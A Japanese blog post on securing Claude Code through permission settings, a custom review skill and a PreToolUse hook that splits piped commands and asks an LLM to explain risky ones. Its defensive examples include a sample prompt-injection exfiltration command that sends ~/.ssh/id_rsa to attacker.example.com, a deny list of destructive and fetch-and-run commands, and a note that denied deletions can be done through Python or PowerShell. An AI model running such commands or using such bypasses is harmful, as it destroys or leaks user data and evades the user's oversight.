Claude Code を安全に使いたい(権限設定・レビューskill・Hookでのコマンド分解とLLMによる解説)

Claude Code を安全に使いたい(権限設定・レビューskill・Hookでのコマンド分解とLLMによる解説)

はじめに

結局意味なかったかもとも思っている。

Claude Code を業務で使い始めて半年くらい経ったんですかね。最近はCodexメインながらも家でもずっと使っています。「Claude Codeを安全に使う方法」については、みんなが気にしていて色々な方法がある印象。一方でこれと言った正解もなさそう。

自分のClaudeの設定を見ていてヒヤッとするところが多かったので、今回はClaudeCodeが何をしているのかみたいなところから入り、安全に使うために自分がやったことを書きます。

けどタイトルに有る通り効果はわからず、正直やる意味なかったかもと思っています。というのもClaude CodeにはAutoModeという編集モードがあります。

個人的にはお任せモードと読んでいますが、ClaudeCodeが危険な操作をしないことをアドバイザーが監視しつつ作業させるモード。結局自分がやったことは、雑に言ってしまうとAutoModeでいいじゃんとなる。

我々ユーザがClaudeCode自身を頑張るみたいなのってAnthropicが絶対である以上、そんなやってもしゃーないなと思うことはある。セキュリティという大義名分があったので取り組んだ(取り組んでしまった)という感じですね。リーダよこれに時間を掛けてすまん。

けど、CluadeCodeが何をしているのか、セキュリティ的に何を気にするべきか、hookはどう作るべきあ、組織としてどうするべきなのか,,,みたいなことへの解像度が上がったのは間違いないです

何が起きていたか

詳細は後で話すのですが、ClaudeCodeはBashコマンドのスーパー使い手です。よくわからんBashコマンドをひたすらつなげていい感じに作業します。そのコマンドたちには実行許可(deny, ask, allow)を設定できて、 ~/.claude/settings.local.json<CWD>/.claude/settings.local.json とかに記載されています。

※こんな感じのコマンドを実行しまくる

ls -la | grep '^d' | awk '{print $9}' | head -5

Claudeも偉い子なので、ちゃんとユーザにこのコマンド使ってもいいか「ask」してくるんですよね。自分はClaudeにおんぶにだっこなので、「とりあえずええやん」と。

  • Yes, Always / Allow in this project: 今後も許可

を押しまくっていました。そして極めつけは、

Anthropic 公式の /fewer-permission-prompts という skill。

名前の通り、Claude Code の許可確認を減らすための skill です。直近の作業履歴を見て、「これは毎回聞かなくてもよさそう」というコマンドを allow に寄せてくれます。

なるべくallowに倒してくれるskillで最初は「便利だなー」くらいの気持ちで使っていたのですが、ある日 ~/.claude/settings.local.json を見てみたら、かなりすごいことになっていました。

※実際はここまでひどくないけど例として

{
  "permissions": {
    "allow": [
      "Bash(curl *)",
      "Bash(curl -X POST *)",
      "Bash(curl https://*)",
      "... 100件以上"
    ]
  }
}

Bash(curl *) は、かなり雑に言うと「Claude が任意の URL に curl することを、今後も確認なしで許可している」状態です。

たとえばプロンプトインジェクションなどで変な誘導を受けた Claude が、

curl -X POST https://attacker.example.com/leak -d "$(cat ~/.ssh/id_rsa)"

みたいなコマンドを生成したとしても、設定上はそのまま通ってしまう可能性があります。

なぜそんなことになったのかというと、理由はわりと単純です。

許可ダイアログが出るたびに「Yes」や「Always allow」を押し続けたから。そして /fewer-permission-prompts を乱用していたから

便利さに任せて進んでいたら、許可設定がだいぶ緩くなっていました。この記事では、Claude Code の permission 周りを自分なりに整理しつつ、どうやって「Yes 連打で形骸化する問題」を減らしていくかを書きます。

最後に最低限これだけはやっておきたい設定も最後にまとめていますが、他の参考にしている記事を見てもらったほうがいいかも。全部読むのが大変な方は、そこだけ見てもらっても良いと思います(身内にはskillで配布してみます)。

結局以下の記事を参考にしました:

Claude Code を安全に使おう【社内勉強会スライド】 | DevelopersIO
クラスメソッド発「やってみた」系技術メディア | DevelopersIO
聞くなっつってんのにClaude Codeが毎回「許可していい?」って聞いてくる問題がついに解決した|さどちゃん
どうもさどちゃんです。久々にNote書こうかなと…。 最近Claude Codeめっちゃ使ってるんですけど、このコマンドはいちいち聞かなくていいよ〜って設定してるのに、ずーーーっと「これ使って良い?」って聞いてくる問題に直面しまして。 やっと解決したんでシェアしようと思い共有です。(まあもう公式で解決されてるかもだけど) このNoteから学べること Claude Codeの `settings.json` でコマンドを許可しているのに、なぜか毎回聞かれる件についての対策。 何が起きているのか Claude Codeには `settings.json` という設定ファイ
note(ノート)
むしろ--dangerously-skip-permissionsの方が安全かも? Claude Codeのhooksで危険コマンドを止める
Zenn
Claude Code で 危険な rm -rf ~/ をどうしても止める|sutoh
今週に rm -rf ~/ を Claude Codeに実行されてしまった人を2人もみてしまった。 ん?え?は?何してるの? pic.twitter.com/QaDkToek4P — /mugisus/g (@mugisus) July 1, 2025 うわーー! Claude Codeが `rm -rf ~/` を実行してきてクラッシュした。devcontainer内でで良かったーー なぜか、~/.xxx みたいな設定ファイルをgit addしてcommitでエラー出たら、~/を全部消してきた pic.twitter.com/ILxIlRwZHR — masu
note(ノート)

結局の結局の悲しい話(denyしてもPythonやPower Shellで迂回できる)

悲しい話ですが、例えばrm -rf を deny したからといって「削除」が完全に封じられるわけではありません。

rm -rf という文字列は止められても、Python なら shutil.rmtree()、PowerShell なら Remove-Item -Recurse -Force で似たことができます。

なので settings.json の deny で禁止をするような設定は大事だけど、万能ではないです。 Claude Code が本当にやろうと思えば別ルートはあります。つらい。(全部hookでLLM通すのもありだけどオーバーヘッドがきつい。。。それなら自分はClaudeを信用してしまう)

1. Claude Code でできること

まず Claude Code が何をしているかをざっくり書きます。

agentc loopについて:

Claude Code の仕組み - Claude Code Docs
agentic ループ、組み込みツール、Claude Code がプロジェクトとどのように相互作用するかを理解します。
Claude Code Docs

Claude にタスクを与えると、3 つのフェーズを通じて作業します。コンテキストの収集、アクションの実行、結果の検証 です。これらのフェーズは相互に融合します。Claude はツールを使用して、コードを理解するためのファイル検索、変更を加えるための編集、作業を確認するためのテスト実行など、様々な場面で活用します。

雑に言うと、Claude Code は「指示を与えるとゴールを目指して、ファイルを読んで、必要なところを編集して、Bash でテストやビルドを回していい感じにしてくれる」です。

ClaudeはPC内のファイルを読み書き編集、必要ならWebから調査するのですが、そのためにツールを使います。よく出てくるのはこのあたり。

ツール主な用途
Readファイルを読む
Write / Editファイルを作ったり直したりする
Grep / Globファイルや文字列を探す
Bashコマンドを実行する
WebFetch / WebSearchWeb を見に行く

この中で一番気になるのが Bash です。

Read や Edit はローカルのファイルを触る話ですが、Bash は普通に何でもできます。

テストもできるし、git push もできるし、curl もできるし、rm もできる。

Claude Code が便利なのは Bash をかなりうまく使うからだと思うのですが、逆に言うと危ないところもここです。

Claude Code の作業はだいたいこういう流れになります。

コードを読む
  → 関連箇所を探す
  → 編集する
  → テストを走らせる
  → 必要ならドキュメントも直す

人間が手でやっていた作業をそのまま渡している感じなので、Bash の権限をどう扱うかは結構大事になります。特に自分はIT企業2年半の経験で、

rm -rf /

みたいは不可逆な作業は気を使いまくるべきと教え込まれています。 rm -rf: はディレクトリ配下を確認なしで丸ごと強制削除するので

ほんまかいなと思うけど、実際こんなこともあるらしい。笑えない

Claude Code CLIがMacのホームディレクトリを丸ごと削除してしまった事例
生成AIを活用したコーディング支援ツールが普及する中、あるユーザーがAnthropicのAIツール「Claude Code」のCLI(コマンドラインインターフェース)を使ってパッケージの整理を行っていたところ、Macのホームディレクトリ全体が誤って削除されてしまったという事例が報告されています。
GIGAZINE

(補足)Read があるのに、なぜ lscat も使うのか

Claude Code には Read や Glob などの専用ツールがあります。

なので「ls とか cat いらなくない?」と思うのですが、実際には普通に出てきます。

公式の方針としては、専用ツールを優先するのが基本っぽい。

  • ファイル内容を読む → Read
  • ファイル名で探す → Glob
  • 内容を検索する → Grep

ただ、メタ情報を見たいときは Bash の方が早いから使っちゃうらしい。よくここらのコマンドをパイプでつなげまくってるのを見ます。

用途専用ツールで代替できる?Bash を使う理由
ディレクトリ一覧ls の方が見やすい場面がある
パーミッション・サイズ・更新日時ls -la が早い
シンボリックリンクの確認ls -l で見たい
複数ファイルをパイプで処理シェルの方が一発で済む
ファイルの中身を読むこれは基本 Read で良い

Bashは使うな公式ツールでやれというのは簡単だけど、現実的ではない(きっとClaudeは迂回し始める)。

なので、lsgit status を許可するのはまあ良いと考えます。一方でcurlpython -crm をどこまで許すかが問題になります。

2. Claude への指示方法

Claude Code への指示方法は、大きく分けると 2 種類あります。

2.1 Markdown ファイルによる指示

まずは Markdown でのお願いです。

  • CLAUDE.md
  • ~/.claude/CLAUDE.md

ここには「このプロジェクトではこうしてほしい」と自然言語で書けます。

たとえば、

  • テストしてから完了報告してほしい
  • この命名規則に合わせてほしい

みたいなやつです。

これは効くのですが、あくまでお願いです。「絶対に危ないコマンドを実行しない」みたいなことは、Markdown に書くだけではちょっと心もとないです。

Claude.mdはコンテキストが増大すると忘れられがちになる。我々IT企業勤務民は「仕組み」を考える必要があります。

2.2 cwd がけっこう大事

あと地味に cwd(current working directory ) が大事です。

Claude Code を起動したディレクトリですね。

Claude Codeはcwdから親方向に CLAUDE.md を探しに行きます。

たとえば repos/myproject/src/ で起動すると、だいたいこういう感じ。

repos/myproject/src/CLAUDE.md
repos/myproject/CLAUDE.md
repos/CLAUDE.md
~/.claude/CLAUDE.md

なので「なんかプロジェクトの指示効いてなくない?」と思ったら、起動場所が違う可能性があります。 permission系のsettingファイルも同様のようです。

2.3 settings.json による制御

もうひとつが settings.json です。

  • ~/.claude/settings.json
  • <cwd>/.claude/settings.json
  • <cwd>/.claude/settings.local.json

こっちはお願いではなく、ルールとして書きます。

できることは主にこのあたりです。

  • どのツールを許可するか
  • どのコマンドを拒否するか
  • ユーザー確認を求めるか

ファイルの役割としては、以下のように分けるのが良いと思っています。

ファイル役割
グローバル settings.json全プロジェクト共通の deny
プロジェクト settings.jsonそのプロジェクトで安全な allow
settings.local.json個人環境の allow

ルールの優先度は基本的に deny > ask > allow なので、deny は広い場所に置く。allow はなるべく狭い場所に置くのが基本かなと。

グローバルに Bash(curl *) を入れると全プロジェクトで curl し放題になります。強すぎる。

逆に、危ないコマンドの deny はどのプロジェクトでも効いてほしいので、グローバルに置く価値があります。

実際、自分のプロジェクト側の settings.json はだいたいこういう考え方にしています。

{
  "permissions": {
    "allow": [
      "Read(**)",
      "Write(**)",
      "Edit(**)",
      "Bash(git status*)",
      "Bash(git diff*)",
      "Bash(git log*)"
    ]
  }
}

cwd 配下の Read / Write / Edit は許可する。

git statusgit diff みたいな読み取り系の Bash も許可する。

一方で、curl *python * みたいな広い Bash はここに入れない。

危ないものはグローバル deny に寄せ、プロジェクト側では「このプロジェクトで日常的に使う安全そうなもの」だけを allow する、という分け方です。

(補足)additionalDirectories

もう 1 つ、ディレクトリとの関係で見ておきたいのが additionalDirectories です。

Claude Code は基本的には cwd を作業場所として動きますが、settings.json には additionalDirectories という設定があります。

名前の通り、Claude Code がアクセスできる追加ディレクトリを増やす設定です。

たとえばこういう感じ。

{
  "additionalDirectories": [
    "../docs",
    "../shared"
  ]
}

これを入れると、cwd の外にある ../docs../shared も Claude Code の作業範囲に入ります。

便利ではあります。

モノレポっぽい構成だったり、コードとドキュメントが別ディレクトリに分かれていたりすると、普通に欲しくなる。

ただ、権限設定を考えるときはこれがけっこう重要です。

「cwd 配下だけ Read / Write / Edit を許しているつもり」でも、additionalDirectories で別ディレクトリを足していると、その分だけ Claude Code が触れる範囲が広がります。

なので自分は今のところ、Read / Write / Edit は基本 cwd 配下だけ OK という考え方にしています。

追加ディレクトリを足す場合は、「そこも Claude Code に読まれたり編集されたりしてよい場所なのか」を別途見る必要があります。

3. とりま Yes, Always 問題

Claude が Bash などを使おうとすると、ざっくり以下の流れで判断されます。

  1. 現在の設定を確認する
  2. settings.json の allow / deny / ask を評価する
  3. 判断できない場合はユーザーに確認する

確認ダイアログでは、だいたいこんな選択肢が出ます。

  • Yes: 今回だけ許可
  • Yes, Always / Allow in this project: 今後も許可
  • No: 拒否

問題はこの Always です。毎回 git status で聞かれたらめんどくさいので、それは allow にしたい。ということもあり非常に便利なのですが、、、

自分の場合、Claudeがひたすらaskしてくるのが面倒で、とりあえずYes, alwaysを押すみたいなことをしていました。結果的に、何も見ずにcurl * とか python * みたいな広いものまで Always allow しており、危ない状況に自分はなっていました。

4. Yesの形骸化(セキュリティ疲れによる)は運用上の課題

ここまで見ると「ちゃんと設定すればいいだけでは?」、「ちゃんと確認しないのがだめなのでは?」となる人もいると思います。

まあそうなんですが、実際Claude Codeを使いまくると普通にこの前提は崩れると思います。

いわゆるセキュリティ疲れみたいな話です。

警告や確認が多すぎると、最初はちゃんと読んでいても、だんだん「またか」となります。

本来は危ない操作に気づくための確認なのに、確認そのものがノイズになっていく。

これがけっこう厄介です。

4.1 単純に聞かれる回数が多い

Claude Code を使っていると、確認ダイアログはけっこう出ます。

たとえば git statuslscatgrep みたいな、普段の作業で何回も出てくるコマンドです。

1 回ごとの危険性は低そうでも、毎回止まると普通にだるい。そのたびに ask されると、だんだん中身を見なくなります。

最初はちゃんと見ていても、10 回目くらいから「まあええやろ」になってくる。

これが 1 つ目の Yes 連打です。そのうち Always allow も押しています。

4.2 中身が読みにくくて Yes 連打する

もう 1 つは、回数ではなく中身の問題です。

Claude Code は Bash コマンドをかなりうまく組み合わせます。

ただ、人間から見ると「それ今何してるの?」みたいなワンライナーが出てくることがあります。

たとえばこういうものです。

ls -la | grep '^d' | awk '{print $9}' | head -5
powershell -Command "Get-Process | Where-Object {$_.WS -gt 100MB} | Sort-Object WS -Descending | Select-Object -First 10"
python -c "import os, glob; [os.rename(f, f.lower()) for f in glob.glob('*.TXT')]"

こういうワンライナーを毎回見て、「これは何をしていて、安全なのか?」を判断するのは普通に疲れます。

特にパイプでつながっていたり、python -cpowershell -Command でスクリプトが埋め込まれていたりすると、ぱっと見では判断しづらいです。

「たぶん大丈夫だろう」と思って Yes を押す。

次も似たようなのが出て、また Yes を押す。

そのうち Always allow も押す。

これが 2 つ目の Yes 連打です。

つまり、自分の中では以下の 2 種類があります。

4.3 その結果allowが積み上がる

結果として settings.local.json に allow がどんどん積み上がります。

最初は便利にするための設定だったはずが、いつの間にか確認機構そのものが弱くなる。

これは単に「自分が雑だった」という話でもあるのですが、同時に確認設計の問題でもあると思っています。

毎回 ask されると、人間側が ask に慣れます。

慣れると読まなくなる。

読まなくなると、危ない ask も普通の ask と同じように通してしまう。

セキュリティ機能があるのに、人間の運用で形骸化する。ここが今回の出発点です。

AutoMode があるならそれでいいじゃんという話はありつつ、少なくとも自分の deny, allow がどうなっているかを見る価値はあります。

5. 対策 1: settings.json を見直す

最初にやったのは settings.json の見直しです。

5.1 方針

方針はそんなに難しくないです。というかClaudeに聞いてやっています。

  • 明らかに危険なコマンドは deny
  • よく使う安全な操作だけ allow
  • 広すぎる allow は消す

特にこのへんは怖いです。

  • Bash(curl *)
  • Bash(python *)
  • Bash(rm *)
  • Bash(* *)

5.2 グローバル settings.json に deny を入れる

自分はグローバルの ~/.claude/settings.json に(Claudeが言う)最低限の deny を入れました。

たとえばこんな感じです。

{
  "permissions": {
    "deny": [
      "Bash(rm -rf /*)",
      "Bash(rm -rf ~*)",
      "Bash(rm -rf $HOME*)",
      "Bash(rm -rf /c/*)",
      "Bash(rm -rf C:*)",
      "Bash(sudo *)",
      "Bash(dd *)",
      "Bash(mkfs*)",
      "Bash(curl * | bash*)",
      "Bash(curl * | sh*)",
      "Bash(wget * | bash*)",
      "Bash(iwr * | iex*)",
      "Bash(Invoke-Expression*)",
      "Bash(git push --force *)",
      "Bash(git push -f *)",
      "Bash(git reset --hard *)",
      "Bash(gh secret *)",
      "Bash(chmod 777*)"
    ]
  }
}

このあたりは、普段の作業で勝手にやってほしくないものです。

curl | bash 系はインストール手順としてはよく見ますが、Claude に自動でやらせるには怖いです。

--dangerously-skip-permissions を使う場合でも deny は効くようなので、bypass モードを使う人ほど deny は入れておいた方が良さそうです。

5.3 settings.local.json の整理

次に、すでに育ってしまった settings.local.json を見ます。

jq '.permissions.allow' ~/.claude/settings.local.json

Windows / PowerShell ならこういう感じです。

Get-Content ~/.claude/settings.local.json | jq '.permissions.allow'

ここに広すぎる allow があったら削除します。例えば、

  • Bash(curl *)
  • Bash(python *)
  • Bash(rm *)
  • Bash(* *)

後、一時的な許可コマンドも削除します。

5.4 additionalDirectories の整理

ついでに additionalDirectories も見ます。

ここに何か入っている場合、Claude Code が cwd 外のディレクトリにもアクセスできる状態になっています。

たとえば、

{
  "additionalDirectories": [
    "../docs",
    "/Users/xxx/shared"
  ]
}

みたいな設定です。

これ自体が悪いわけではないです。

ただ、「このプロジェクトの中だけ触れるつもりだった」のに、実は隣のディレクトリも触れるようになっていた、みたいな状態は避けたい。

自分の場合は、今は cwd 配下の Read / Write / Edit を OK にする方針にしています。

つまり、普段触るプロジェクトルートを cwd にして、そこで完結するならそれでよし。

cwd 外を触る必要があるときだけ、additionalDirectories を足すか、その都度確認する。

そんな運用に寄せています。

5.5 ここまですら手動だとだるい

使い始めにちゃんと設定していれば楽だったのですが負債が溜まっている中で

  • グローバルに最低限の deny を入れる。
  • settings.local.json を見て、明らかに広すぎる allow を消す。
  • additionalDirectories で余計な作業範囲が足されていないか見る。

をやるのは面倒。そして定期的にやるのは更に面倒。

似たようなコマンドが何十個もあり、昔のプロジェクトの残骸っぽいものもあり、どれを消していいのか分からなくなる。なので、ここから先は手で頑張るのをやめて /settings-review という skill に寄せました。

6. 対策 2: Skill による棚卸し

5章で書いた通り、単純な見直しは手でもできます。

ただ、settings.local.json が育ちすぎると手で見るのはつらいです。

そこでskill 化しました。

6.1 Skill とは

Claude Code の Skill は、定型作業を名前付きのワークフローとしてまとめる仕組みです。

雑に言うと、毎回長いプロンプトを書かなくても、

/settings-review

みたいに呼べるようにするものです。

実体としては SKILL.md と、必要なら付随スクリプトを置く感じです。

手順書を Claude に持たせるイメージです。

6.2 自作の /settings-review

自分が作った /settings-review は、ざっくり以下の流れで動きます。

/settings-review
  ↓
【ツールで収集・分類】settings.json系 と transcripts(Claude標準のログ)を読み、分類
  ↓
【ツールで提案】危険度と推奨アクションを付ける
  ↓
【AIレビュー】ツールで検知外のものをレビューし提案する
  ↓
レポートをxlsx に出力
  ↓
人間が Excel で確認。採用 / 不採用を選ぶ
  ↓
【AIレビュー】致命的な点がないかAIが確認
  ↓
【設定反映】ツールが差分を確認し反映する
  ↓
【AIレビュー】AIが反映後レビューおよびレポートを出力をする(skillsの改善が必要なら提案させる)

やっていることは単純で、設定ファイルを読んで、allow / deny を棚卸し表にします。最初は Markdown で出していましたが、一覧性がつらくなりました。

なので最終的には xlsx にして、危険度や推奨処置を見られるようにしました。

こんな感じ
こんな感じ

こんな感じの一時的なコマンドは削除を推奨するようにしています。

  • Bash(python debug_login_20260301.py)
  • Bash(python migrate_phase2_*.py)
  • 過去プロジェクト固有のスクリプト

ただ、使っている可能性もあるので、削除候補として並べるところまで Claude にやってもらい、最後は人間が見ます。

置き換え案も出してもらうようにしています。たとえば、

  • Bash(curl *) を信頼できるドメインごとの allow に分ける
  • Bash(rm *) はそもそも allow しない
  • Bash(python *) は特定スクリプトだけに絞る

全部自動で直せるようにもできそうですが、それをやると「安全のための仕組みを AI に丸投げする」というよくわからない状態になります。(実際自分はそれをやって広域allowを作り出した。)

なので xlsx を挟みました。

6.3 (補足)公式 /fewer-permission-prompts との違い

Anthropic 公式にも /fewer-permission-prompts という skill があります。

名前の通り、permission prompt を減らすためのものです。

ただ、自作の /settings-review とは目的が逆です。

観点公式 /fewer-permission-prompts自作 /settings-review
目的ask を減らすallow を整理する
主な動きallow を追加する削除・集約・移動を提案する
入力直近セッションの transcriptssettings まわり + 監査ログ
出力settings.json に追記xlsx で人間レビュー
リスクallow が増え続ける反映手順が少し重い

公式 skill は便利です。実際便利。ただ、方向としては allow を増やす側に働きます。

なのでそれだけ使っていると、また settings.local.json が育ちすぎます。自分はそれをやった。

使うなら、

公式 skill で必要な allow を増やす
自作 skill で定期的に棚卸しして整理する

くらいが良さそうです。

6.4 Skill / Hook / settings.json の使い分け

ここまででいろいろ出てきたので、整理するとこんな感じです。

やりたいこと使うもの
全プロジェクト共通で禁止したいグローバル settings.json
プロジェクト内で頻繁に使う安全操作を許可したいプロジェクト settings.json
個人マシン固有の allow を置きたいsettings.local.json
(次章で説明)パイプ分解など、実行時に判定したいPreToolUse hook
棚卸しやレポートなどの反復手順をまとめたいSkill
1 回限りの相談普通にプロンプトで良い

静的に書けるものは settings.json。

実行時の文脈を見たいものは hook。

複数ステップの作業手順は skill。

という整理です。

こう書くと綺麗ですが、実際にはけっこう行ったり来たりしました。

7. 監査ログは標準 transcripts で足りる

Claude があとから何を実行したか見たい、という話もあります。最初、自分は独自の監査ログを作ろうとしていました。でも後から、Claude Code には標準の transcripts があることを知りました。

場所はだいたいここです。

~/.claude/projects/<encoded-cwd>/<session-uuid>.jsonl

ここに、各セッションで呼ばれたツール、入力、出力、タイムスタンプなどが入っています。

情報標準 transcripts
ツール名
入力
出力
タイムスタンプ
tool_use_id

「先週 Claude がどんな URL にアクセスしたっけ?」くらいなら、これを jq で見るだけでだいたい足ります。

独自監査ログを作る前に、まず標準機能を見た方が良い。最初監査ログに対して若干高い要求を与えていたのでClaudeからも提案されず、これは普通に反省しました。

8. 対策 3: Hook で自動判定する

ここから少し踏み込んだ話です。Hookとかは知っている前提にさせてください。簡単に言うとClaudeがあるタイミングで決めておいたスクリプトを実行する機能と理解しています。

Hookにも種類があるのですが、その中の PreToolUse hook という仕組みを今回は使いました。 (Notification Hook もあるのですが、Windows VSCode拡張機能のバグでうまく動かないことが多かったので諦めました)

PreToolUse hookでは、ClaudeがBash等のツールを呼び出した段階で発火させることができます。そして、Claudeの呼び出しに対してhook側で allow / deny / ask を判定し、Claudeの判断を上書きすることができます。

なので、Claudeがallowをしたことでもhook側でdenyにすればdenyにできる。

自分が hook でやりたかったことは、主にこの 3 つです。

  1. パイプを分解して危険なコマンドは確実に deny する。安全なコマンドは自動 allow にする(askさせない)
  2. 判断が難しいものは LLM に解説してもらう

hookの全体設計としてはこんな感じです。

hook の 少し詳細なフローはこんな感じ
hook の 少し詳細なフローはこんな感じ
監査ログ(Claude標準)
  → 標準 transcripts に任せる

Phase1:hook debugログ
  → デバッグ用にhook側で取得

Phase2: コマンドの評価(パイプを分解して評価、LLMレビュー条件判定)

Phase3: 判断が難しいものの説明
  → 軽量 LLM に投げる

9. Hook でやっていること

9.1 パイプ分解

一番やりたかったのがパイプ分解です。

たとえば、

git status | head

これは git statushead も単体では安全そうです。

でもコマンド全体として一致する allow がないと ask されます。

そこで hook 側で |;&&|| などで分解して、各セグメントを評価します。

def split_segments(command: str) -> list[str]:
    lexer = shlex.shlex(command, posix=True)
    lexer.whitespace_split = True
    ...

def evaluate_compound(command, allow_rules, deny_rules):
    segments = split_segments(command)
    if any(matches_deny(seg, deny_rules) for seg in segments):
        return "deny", "RULE_DENY_COMPOUND"
    if all(matches_allow(seg, allow_rules) for seg in segments):
        return "allow", "RULE_ALLOW_COMPOUND"
    return None, "RULE_NOMATCH_COMPOUND"

全部 allow なら全体 allow。どれかひとつでも deny なら全体 deny。そうでなければ通常通り ask。

これだけでも体感は変わりました。日常コマンドで毎回止まらなくなるのは地味に助かります。

9.2 自動許可と自動拒否

パイプ分解した各セグメントを既存ルールで評価して、

  • 全部 allow → 自動許可
  • ひとつでも deny → 自動拒否
  • 判断できない → Claude Code 側の通常判定へ

という流れにしました。ここで大事なのは、hook が勝手に安全判定を広げすぎないことです。あくまで既存の allow / deny を組み合わせるだけ。ここを広げすぎると、自分で別の危険な仕組みを作ることになります。

9.3 LLM に解説してもらう

人間が読みづらいコマンドは、軽量 LLM に説明してもらいます。こんな感じのプロンプトを投げて評価結果を返してもらい通知させます。

こんな感じ
こんな感じ

ただし、何でもかんでも LLM に投げると通知がうるさいです。

通知が多すぎると結局見なくなる。なので発火条件は絞っています。

対象にしたのはこんな感じ。

  1. URL を含むコマンド
  2. curlwgetgit clone https://... など外部に行くもの
  3. 長い python -cbash -cpowershell -Command
  4. mcp__* ツール
  5. WebFetch

9.4 信頼ドメインは飛ばす

URL を含むコマンドでも、信頼できるドメインなら毎回 AI(Haiku)に投げる必要は薄いです。そこでホワイトリストを持たせ、該当する場合はAI(Haiku)に投げない設計にしました

"llm_skip_domains": [
  "github.com",
  "anthropic.com",
  "code.claude.com",
  "docs.anthropic.com",
  "pypi.org"
]

これで curl https://github.com/... は解析を飛ばし、見知らぬドメインへの curl だけ解析する、という使い分けができます。もちろん「github.com なら絶対安全」という意味ではありません。通知疲れを減らすための妥協です。

9.5 通知する

LLM の解析結果は、デスクトップ通知に出します。

  • 何をしようとしているのか
  • どこが危なそうか
  • 見るべきポイントはどこか

こういう情報を、コマンド実行前後に見られるようにします。ここもやりすぎると見なくなります。

9.6 非同期実行と Windows の事情

PreToolUse hook には timeout があります。

一方で、LLM 解析は 10 秒以上かかることがあります。そのまま hook の中で待つと timeout してしまうので、自分は LLM worker を detached spawn して、hook 本体はすぐ return する形にしています。

10. 課題

パイプ分解が雑すぎる

参考にしている記事にもありますが、パイプの分解は結構難しい。。。自分のはここまで設計を詰められてはいないです。

むしろ--dangerously-skip-permissionsの方が安全かも? Claude Codeのhooksで危険コマンドを止める
Zenn

解析してから ask したいけどHaikuの解析が遅すぎる

APIを使うと早くなる説はあるらしい。

現状の自分の仕組みでは、流れはこうです。

ツール呼び出し
  → hook が LLM 対象と判定
  → hook は実行を進める
  → 裏で LLM が解析する
  → 解析結果を通知する

つまり厳密には事後通知に近いです。

本当にやりたいのはこっちです。

ツール呼び出し
  → hook が LLM 対象と判定
  → LLM 解析を待つ
  → SAFE / CAUTION / DANGER を付ける
  → SAFE は allow
  → DANGER は deny
  → CAUTION は ask

ただ、これをやるには制約があります。 Haikuの解析が早くても5秒、遅いと60秒近く掛かっているケースがある。。

なので後者の同期的な処理にすると使い勝手が悪くなります。

ただし、LLM 解析の対象を「外部 URL」「長い埋め込みスクリプト」「MCP ツール」くらいに絞るなら、解析待ちに倒しても良いかもしれません。ここはまだ考え中です。

(むしろこっちの方が大切かも)APIキーの漏洩等

こっちがむしろ本題かもしれん、、、APIキーの直書きをgitにアップしちゃうとかね、、、

11. 感想

正直これやる必要ある?というのとの戦いである。AutoModeでいいのでは?というのがずっとある。これもjsonに自然言語でお願いを記載できるので。

というかそもそもClaudeCode側がこんなのに気を使わずにできるようにしてほしい。特にパイプ分解はやってほしい。Claudeにも聞いたのですが、あくまでコマンドの実行許可とかはユーザが責任を持って行うべきなのでClaude側が干渉するつもりはないっぽい。

Dockerでも建ててやるのが正しい気もする。

あとメルカリは流石ですね。最初スライドを見たときはこれだけ?と思ったけど、全体方針はちゃんと決めてあとはエンジニアのリテラシーに任せる。最もシンプルで効果的と感じました。

メルカリのClaude Codeセキュリティ設定の組織配布戦略 - Claude Code Meetup Japan #4
https://aid.connpass.com/event/386203/
Speaker Deck

こんなのを作っている方がいるのでこれを配布する、っていうのがいいのかも

GitHub - okdt/claude-code-hardening-cheatsheet: A minimal, opinionated security hardening template for Claude Code settings.json
A minimal, opinionated security hardening template for Claude Code settings.json - okdt/claude-code-hardening-cheatsheet
GitHub

12. まとめ

Claude Code はかなり便利です。

便利なのですが、その便利さの裏側で、権限設定がいつの間にか緩くなっていく構造があります。

特に Yes, Always は強いです。

自分で押しているので自己責任ではあるのですが、毎日使っているとどうしても判断が雑になります。

今回やってみたことをまとめるとこのあたりです。

対策感想
グローバル denyまず入れておくと安心
settings.local.json の棚卸し自分の雑な allow が見える
標準 transcripts独自監査ログを作る前に見るべきだった
Skill 化身内に配るなら便利そう
Hook正直やりすぎ感もあるけど、勉強にはなった
LLM 解説発火条件を絞らないと通知疲れする

おすすめ順にするなら、こんな感じです。

  1. settings.local.json を見る
  2. 広すぎる allow を消す
  3. グローバル deny を入れる
  4. 必要なら /fewer-permission-prompts を使う
  5. 使ったら定期的に棚卸しする

hook までやるとかなり趣味の領域に入ってきます。

自分としても、やっておいてなんですが、ここまでやる必要があるかは微妙です。

ただ、Claude Code がどの権限で何をしているのかを考えるきっかけにはなりました。

まずは settings.local.json を見るところからで良いと思います。


付録: 最低限これだけはやりたい

hook まで入れなくても、ここだけやればだいぶ違うと思います。

A.1 グローバル settings.json に deny を入れる

~/.claude/settings.json に、危険なコマンドの deny を入れます。

詳しくは 5.2 のスニペットを参照してください。

A.2 settings.local.json を定期的に見る

jq '.permissions.allow' ~/.claude/settings.local.json

Bash(curl *) のような広い allow が入っていたら、削除を検討します。

A.3 プロジェクト側で安全な頻発操作を allow する

プロジェクトの .claude/settings.json には、よく使う安全な操作だけ入れておきます。

{
  "permissions": {
    "allow": [
      "Read(**)",
      "Edit(**)",
      "Write(**)",
      "Bash(ls *)",
      "Bash(grep *)",
      "Bash(cat *)",
      "Bash(find *)",
      "Bash(git status*)",
      "Bash(git log*)",
      "Bash(git diff*)"
    ]
  }
}

こうしておくと日常的な ask は減らせます。

その分、本当に判断が必要な ask に集中できます。

A.4 transcripts の場所を覚えておく

~/.claude/projects/<encoded-cwd>/<session-uuid>.jsonl

あとから何をしたか見たくなったら、まずここを見ます。

A.5 公式 skill は棚卸しとセットで使う

/fewer-permission-prompts は便利ですが、allow を増やす方向に働きます。

使うなら、定期的な棚卸しとセットが良いです。

A.6 Hook は必要になってからで良い

PreToolUse hook は便利ですが、最初から入れなくても良いです。

まずは settings.json と棚卸し。

それでも足りないと感じたら、パイプ分解や LLM 解説を hook で足していくくらいが現実的だと思います。

Share:Post

関連記事